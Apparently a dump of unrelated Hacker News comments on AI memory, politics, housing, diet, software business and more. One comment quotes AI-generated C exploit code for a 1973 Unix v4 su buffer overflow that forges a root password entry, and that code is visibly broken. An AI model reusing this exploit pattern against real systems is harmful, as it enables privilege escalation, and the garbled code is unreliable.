MurphyA/hacker-news huggingface dataset:
by bediashpreet | 2026-01-08 20:08:08+00:00
After reading hundreds of papers on agentic memory and trying out every possible tool, I came to the simple conclusion that maybe we're looking at memory wrong.

Memory is just... learning. Learning about the user, the task at hand, learning insights and patterns, learning from decisions - good and bad, the feedback received. Learning from every interaction. Everything else is integration (how the agent uses these learnings) and curation (decay, pruning, deduplication).

So I built Learning Machines: A system that helps agents continuously learn from every interaction.

I started working on it dec 31, and got a basic working version yesterday. Here's the PR for those interested: [learning-machine-v0](https://github.com/agno-agi/agno/pull/5897)

This post digs into the technical details.
by kingkongjaffa | 2026-01-08 20:08:22+00:00
Agreed, these kind of titles are very silly.

FTs are actually very reasonable, in the sense that they are a easy to reason about conceptually and in practice.

There's another title referenced in that link which is equally asinine: "Eugene Wigner's original discussion, "The Unreasonable Effectiveness of Mathematics in the Natural Sciences". "

Like, wtf?

Mathematics is the language of science, science would not compound or be explainable, communicable, or model-able in code without mathematics.

It's actually both plainly obvious for mathematics then to be extremely effective (which it is) and also be evidently reasonable as to why, ergo it is not unreasonably effective.

Also the slides are just FTs 101 the same material as in any basic course.
by oxag3n | 2026-01-08 20:08:48+00:00
Recently I was diagnosed with autoimmune and had to follow AOP diet.

It was very promising in the exclusion phase - cutting gluten and dairy eliminated all the symptoms for 3 months. Per protocol I also excluded other things like nightshades, nuts/seeds, grains. But after 3 months, while adding things back, even in small amounts, one by one, got all the symptoms back, being more severe, and after excluding things again, symptoms are not going away completely. I think that our body is a very complex system, distributed in some sense, with delayed and cascade effects that are really hard to "debug".
by inglor_cz | 2026-01-08 20:08:53+00:00
As someone who grew up in late Communist Czechoslovakia, you underestimate the black market. Its capabilities were only comparable to the Secret Police itself (StB in our case).

People in unfree conditions are crafty. Same with information. Suppressed information spreads using underground channels quite quickly.

For example, we knew almost immediately that there was some nuclear disaster in Ukraine even though the official channels didn't say anything for days.
by jmward01 | 2026-01-08 20:09:06+00:00
This is evolution in action. An ecosystem is generating with different things populating it. Is there a better method than captcha out there? For instance, hide things in html comments that only bots would see and if they are reacted to then flag that as a bot account and silently hide their comments (so that another account isn't created)? Do this randomly so that it is hard to find but bot code would catch it. Or other things like text with the same background color so only a bot could have seen it. Basically, instead of staying defensive, go on the attack?
by TheNewsIsHere | 2026-01-08 20:09:29+00:00
To get actual answers (at least during sane political administrations), the System of Records Notice (“SORN”) is what you want. Whereas the info sites for these programs are typically useless, SORNs are the authoritative document that the federal government issues to identify and characterize systems that store records about data subjects, and include information about retention polices, exceptions, etc.

The last I read the SORN for TSA’s facial recognition, they did commit to deleting identifiable data within 24 hours.

CBP operates their facial recognition under a different SORN, and there are many more caveats, although they also commit to deleting identifiable data within 24 hours for US citizens (only).

That was in late 2024 anyway.
by ImPostingOnHN | 2026-01-08 20:09:35+00:00
>> a place where people don't want to live will naturally have lower prices than a place where they do.

> But that's not true, is it?

It certainly is: look at the price of housing in New York City, then look at the price of housing in Newark, New Jersey. Many people want to live in the former, but must settle for the latter, due to lack of affordable NYC housing. Then look at the price of housing in say, Cheyenne, Wyoming: Even cheaper, because people want to live there even less.

Or look at your own example: People want to live in Tokyo more than they want to live 3-4 hours outside of Tokyo, hence the pricing for the latter is lower.

> Most people in the US want to live in suburban SFHs, yet they are often forced to live in apartments.

In my experience, most people in the US want lots of square footage within the city, and either settle for suburbia to get the square footage they want, or settle for less square footage to get the city living they want. This goes for both renters and buyers, and for both Single- and Multi-Family Housing.

How, then, would increasing the price of in-city housing (by reducing the supply, by replacing denser housing with less-dense housing) allow them to realize their big-city-big-living desires?

Alternatively, how would building housing hours and hours and hours outside the city allow them to realize their big-city-big-living desires?
by estimator7292 | 2026-01-08 20:09:49+00:00
Just last week I hacked my Echo Show to install a custom OS and hook it into HomeAssistant.

Even gave it a custom wake word, she's Janet now.

HA is pretty clunky and there's a lot of manual setup. But I have a voice assistant contained entirely within my local infrastructure. I'm even planning to wire it up to my local ollama server for actual AI inference behind it.

So far it's exactly as crappy as Alexa, but only because I haven't waded deep enough into configuration. I'm okay with tools being crap when it's my fault instead of the tool being crap because it doesn't make Amazon enough money.
by ithkuil | 2026-01-08 20:10:00+00:00
Yeah of course none of this makes sense. And yet it all has real world consequences. It's all incredibly partisan. If one just manages to take a step back and watch this dynamic from outside it all seems so weird: the islamist Iran backs Hamas, Hamas are Palestinians, Palestinians are victimized by Jews, Jews have money, capitalists have money, america is capitalist, america is imperialist, ergo .... Islamist Iran is against capitalist imperialism. The protests are against islamist Iran ergo they are against the fight against capitalist imperialism and thus they don't deserve solidarity, or something like this.

I would really love to hear from somebody who is not supporting the Iran protests to honestly tell me if I misrepresented their position and in which way
by saaaaaam | 2026-01-08 20:10:10+00:00
I asked it to build an app to track water consumption and medication. It can’t track anything. After logging “water consumption” and “taking medication” I asked it how much water I’d had and when I’d taken medication. It replied “mhm thats whats up” (like that - lowercase and no apostrophes)

Is that expected behaviour?

The tiresome bro-speak is very irritating but I’m maybe not the target audience.
by helpfulclippy | 2026-01-08 20:10:15+00:00
Whenever this stuff comes up I try to remind people that we only get to see a tiny little glimpse of what these folks were up to. Folks look at the stone tools that have only been found after their owners were done with them and left them in the ground for eons, and imagine that in general everything was “rough” and “crude.”

We don’t get to see the overwhelming majority of their craft — there’s no doubt a whole world of wood and leather artistry and so on that don’t get to survive. Humans are clever, adaptable and often times really fucking obsessive. That same instinct that makes one spend hundreds of hours on Factorio was around in prehistory, applying itself to whatever.

I often times hear anthropologists speculate that large stone handaxes were a means of seduction — that the girls would have swooned over the guys who were better able to make more effective tools. I know too many nerds to believe this. I think that back then, there were people who kept obsessing over making finer tools and theorizing about designs and where materials could be found, and it was about as sexually appealing as my homelab. Which is to say, absolutely fucking not, but who cares, I want to tell you about my idea for a subnet optimized to allow doomcoder agents to handle their own infra needs
by sodapopcan | 2026-01-08 20:10:25+00:00
Not necessarily. We don't know what all their costs are, but it's a lot more than just salaries. I'm sure there was a lot of uncertainty in how long those sponsorships would last. There are any number of factors. Adam also stated in a podcast [0] that he laid people of now in order to ensure they he could give them generous severance packages. I'm sure people will have thoughts on that but whatever, I think that makes sense.

[0] https://adams-morning-walk.transistor.fm/episodes/we-had-six...
by d--b | 2026-01-08 20:10:43+00:00
People don't want AI PC, cause they don't want to spend 5000 bucks for something that's half as good as the free version of ChatGPT.

But we've been there before. Computers are going to get faster for cheaper, and LLMs are going to be more optimized, cause right now, they do a ton of useless calculations for sure.

There's a market, just not right now.
by cyanydeez | 2026-01-08 20:11:26+00:00
You would think so, but you should read about how they bear proof trash cans in yellow stone.

They cant. Why? Because the smartest bear ia smarter than the dumbest human.

So, these AIs are suppose to interface with humans and use nondeterminant language.

That vector will always be exploitable, unless youre talking about AI that no han controls.
by atmosx | 2026-01-08 20:11:30+00:00
We use Doppler reminders (secrets manager SaaS - no affiliation, it’s just a tool) and Slack reminders for team notifications.

Additionally, we use long and detailed commits that act as “howTos” when manual actions is required - we just link to the commit SHA1 even though we have notion. Git docs are evolving more naturally alongside the code. Now ofc with AI fairly high quality docs can be generated and updated automatically.
by eudamoniac | 2026-01-08 20:11:34+00:00
It's not justified; this is a tragedy that should not have happened (though FWIW I think it's believable that officer was in fear of his life from the car). It's just that since many Democrats have largely made it clear that they don't intend to enforce the law or the EOs of the elected president, both of which philosophically constitute the will of the people, federal agents have had to get involved in an unsavory way, with predictable collateral damage. I would prefer we just had governors enforce the law in a normal way, but here we are. "MAGA Americans" did not spring into being from a petri dish, their deplorable views fully formed; they have seen decades of non-action or subversive action from politicians in regards to immigration law, having come to believe the current sort of ICE deployment is necessary to achieve immigration law enforcement.

As they say, those who make peaceful something impossible make violent something inevitable.
by moron4hire | 2026-01-08 20:11:53+00:00
A human worker can be coached, fired, terminated, sued, any number of things can be done to a human worker for making such a mistake or willful attack. But AI companies, as we have seen with almost every issue so far, will be given a pass while Sam Altman sycophants cheer and talk about how it'll "get better" in the future, just trust them.
Funding Opportunities with Amateur Radio Digital Communications (ARDC)
by ARDC_73 | 2026-01-08 20:12:46+00:00
If you or your organization are developing projects that advance amateur radio or digital communications, now’s a great time to apply for ARDC grant funding, with our next application deadline on February 1, 2026.

ARDC’s priority areas for funding reflect our broader vision and strategy for supporting experimentation, education, and open technology within the amateur radio and digital communications communities. We’re especially interested in projects that align with these three areas:

Research & Development (R&D): open hardware and software systems that enable learning and experimentation (e.g. SDRs, open codec technologies, new modulation techniques).

Space-Based Communications: projects that create or expand access to satellite communications for amateur radio (AR) and digital communications (DC), engaging communities in wireless experimentation (e.g. GEO or HEO programs, repurposed commercial satellites, space-based tools for learning).

Open Source Education: scalable, open educational materials and hands-on projects that make AR and DC more accessible, especially for new learners and clubs (e.g. curricula, videos).

While we welcome proposals across the full range of AR and DC, projects that align with these areas remain a priority in our grantmaking decisions.

Learn more about these priority areas at https://www.ardc.net/apply/priority-areas-for-funding/, and find information on eligibility and how to apply at https://www.ardc.net/apply/. For additional questions, contact giving@ardc.net.
by b-kuiper | 2026-01-08 20:12:47+00:00
claude tells me this:

/*
* Historical exploit for Unix v4 su buffer overflow
* For educational purposes only - demonstrates 1973-era vulnerability
/

#include <stdio.h>

#define OFFSET 100 / size of password buffer /

main()
{
char exploit[200];
char p;
int i;

/*
* Strategy: Overflow password[] into pwbuf[]
*
* Memory layout:
* password[100] <- we write here
* pwbuf[100] <- overflow target
*
* pwbuf format: "root:ENCRYPTED:0:0:..."
* After getpw(), pointer p points to ENCRYPTED portion
*
* We overwrite pwbuf with "root::" (empty password field)
* But the *++p == ':' check already happened...
*
* So we must make crypt(input) match our crafted hash
*/

p = exploit;

/*
* Fill password buffer with known value
* Using spaces - crypt(" "*100) on v4 gives predictable output
*/
for(i = 0; i < OFFSET; i++)
*p++ = ' ';

/*
* Overwrite pwbuf - craft it so password hash matches
* crypt() output for spaces, followed by ':'
*
* v4 crypt of spaces = "k." (simplified - actual depends on salt)
* We write: "root:k.:"
*/
*p++ = 'r';
*p++ = 'o';
*p++ = 'o';
*p++ = 't';
*p++ = ':';
/* Position where p points after first ':' */
*p++ = 'k'; /* Match crypt() output */
*p++ = '.';
*p++ = ':'; /* Terminating ':' for password field */
*p++ = '\n'; /* End input */
*p = '\0';

/* Output exploit string */
write(1, exploit, p - exploit);

}

--

/*
* Self-matching exploit: make input match its own crypt output
/
#include <stdio.h>

main()
{
char buf[200];
char crypted;
char p = buf;
int i;

/* Use a known password whose crypt() we know */
char *known_pw = "test"; /* Our chosen password */
char *known_hash = "q.mिJkLmN"; /* crypt("test") on v4 - example */

/* Fill 100 bytes with our known password, padded */
for(i = 0; i < 100; i++)
*p++ = (i < 4) ? known_pw[i] : '\0';

/* Overflow into pwbuf with: "root:<known_hash>:" */
strcpy(p, "root:");
p += 5;
strcpy(p, known_hash);
p += strlen(known_hash);
*p++ = ':';
*p++ = '\n';

write(1, buf, p - buf);

}

--
by saltcured | 2026-01-08 20:13:05+00:00
In my western US dialect, it is abnormal to use it as a subject-verb-object (SVO) construct. I have to guess at intent.

For me, there are three idiomatic forms:

1. Using "lag behind" gives a target/reference as a prepositional relationship, not as an object of the verb "to lag".

2. Using "caused to lag" allows one to specify a causal agent, but again not as an object of the verb "to lag".

3. Using "lag" alone is a subject-verb construct, leaving an implicit target/reference from context expectations. A coach or supervisor might scold someone for lagging.

As a bit of a tangent, I actually wonder if the etymology of "to lag" is more Germanic than some people assume. The verb lagern has many uses for placing, storing, and leaving behind. It's where our English concept of a "lager" beer comes from too, referencing the way the beer is fermented in (cold) storage. If this linguistic connection remained fresh, we might think of an SVO construct of lagging as the opposite of the intent in this article. The leader would lag the follower by leaving them behind!
by xracy | 2026-01-08 20:13:50+00:00
I think a point on top of this, is that the bar for "what is political" has become arbitrary. To your point, the MAHA movement is incredibly political, but for some reason gets a pass on what is considered "political" even though it's literally put forth by political actors.

The current administration frequently gets away with pretending like they're not "political" and that only the people reacting/responding to them are political even though they are definitionally political.

And the kinds of things that are defined as political seem to only be completely valid criticisms of the government, because they're "controversial".

The number of people who claim to be non-political and are actually just conservative libertarians (I know what site I'm on) feels like it's sky-rocketed, and I would like to see HN and other platforms start calling this out. No one is non-political in the same way that no one is "color blind". Your politics are just unpopular, and you know it.
by zapnuk | 2026-01-08 20:14:16+00:00
Nah. Plenty people struggles with the use of tailwind or at least were interested in shortcuts. Thats the whole what tailwind plus offers. In some ways tailwind is like matplotlib/pandas/numpy. Increadibly powerfull but some methods/classes are difficult to remember to you keep googleing the same things.

Doesn't matter anyways wether their customers are people who search for shortcuts or people who search for "the best designs".

Their problem was and is that tailwind is used by many of the most profitable companies in the world for free.

Thats so unbelievable stupid. You have corporations paying millions for MS 365 subscriptions, confluence, and other software and basically nothing for a totally optional ui library. If the use of tailwind saves 10 engineering hours per month then it's worth it to pay a few hundred $ for a licence.

Given that their team isn't big they don't even need that many customers. Add a bit consulting for a decent hourly rate and they should be golden.

The more I think about it the more I blame the CEO for poor decisions.
by throwawayms4 | 2026-01-08 20:14:24+00:00
This is a hard question since there are a few patterns I've seen. Often they're long-term microsoft, more often PM than engineering, sometimes external. But I suspect that's not the dominating consistency, with a similar statement to technical skill. People who get to a high level here get there for the same incentives I mentioned above. They are risk averse, political, cowtow to their leadership, and know how to play the game.
by throwawayms4 | 2026-01-08 20:14:26+00:00
I suspect there's some truth in that, but I suspect it's very banal. Current leadership does not have the "political leeway" nor technical conviction or strategic insight to buck trends on instinct as past leadership did, and thus will err hard on trend following, especially given the foaming at the mouth the investing and thought leader population was doing around AI over the last few years.
by WhereIsTheTruth | 2026-01-08 20:14:27+00:00
CIA and Amnesty's claims aside, focus on how social media fuels civil unrest, the real concern is foreign interference, Iran has been a target for a very long time

The US wants a regime change, that's a fact, Trump has been very vocal on the matter, and the NSA has the tools to do what ever it pleases on the internet (e.g., PRISM)
by mk_stjames | 2026-01-08 20:15:14+00:00
Whenever I see press on these new 'rack scale' systems, the first thing I think is something along the lines of: "man I hope the BIOS and OS's and whatnot supporting these racks are relatively robust and documented/open sourced enough so that 40 years from now when you can buy an entire rack system for $500, some kid in a garage will be able to boot and run code on these".
by macleginn | 2026-01-08 20:15:29+00:00
Russia has been systematically shutting down the Internet for a long time now, to disrupt Ukrainian drones. The effects have been very painful intially, especially re payment systems; people were encouraged to withdraw and carry cash. Now they are shifting more and more towards a "whitelisting" approach where a handful of services continue to function while everything else is turned off. As usual in Russia, people complain but adapt.
by oxag3n | 2026-01-08 20:15:42+00:00
I agree it's not new and known for decades.

But I see a significant fraction my friends, family and students in university to have no clue. I recently worked with a student who shared his struggle with extra weight and asked about my gym habits. To his surprise I can't exercise except daily walk and I told that eliminating refined sugars is low hanging fruit. The student was surprised (early 20s) and didn't know how to tell if yogurt in cafeteria had added sugars.
by RichHickson | 2026-01-08 20:16:38+00:00
The app only reads ONE specific keychain entry:

Service: "Claude Code-credentials"

This is the entry created by the official Claude Code CLI when you log in. The app:

1. Only reads - never writes, modifies, or deletes any keychain data
2. Only accesses this one service name - cannot read any other passwords, keys, or credentials
3. Extracts only the OAuth access token - used to call api.anthropic.com/api/oauth/usage
4. Sends data only to Anthropic's API - no analytics, no third-party servers

The token never leaves your machine except to Anthropic's own API endpoint. You can verify this yourself - the entire source is ~400 lines of Swift: https://github.com/richhickson/claudecodeusage

macOS will also prompt you the first time the app tries to access this keychain entry, giving you control to allow or deny.
by bluegatty | 2026-01-08 20:16:40+00:00
You seem to have a fundamental misunderstanding of the nature of power and geopolitics.

First this: "The statements POTUS makes to the public are simply statements by a person and should be taken as such." <-- this is definitely not true, even with a basic deference to the more traditional, formal view of the US president's role, or the role of any Head of State for that matter.

The US Presidents proclamations are policy, and always have been. Obviously - a statement at the 'correpondents dinner' is not the same thing as a quick media response, is not the same thing as a statement from behind the podium, is not the same thing as a prepared address or document - but anything above board is representative of the State.

Particularly given the current POTUS leverage over Congress and wide Judicial deference to his power.

Obviously, POTUS is going to have private discussions and give directions that are not consistent with public statements - that adds to the ambiguous nature of his statements, but his public statements are still facto policy and must be taken at face value.

A statement like 'force is on the table' internally may seem like a negotiating tactic or 'populist politics' or 'stuff tough business guys say' or even 'fodder for fox news', but geopolitically it's borderline a declaration of war. It should be taken seriously.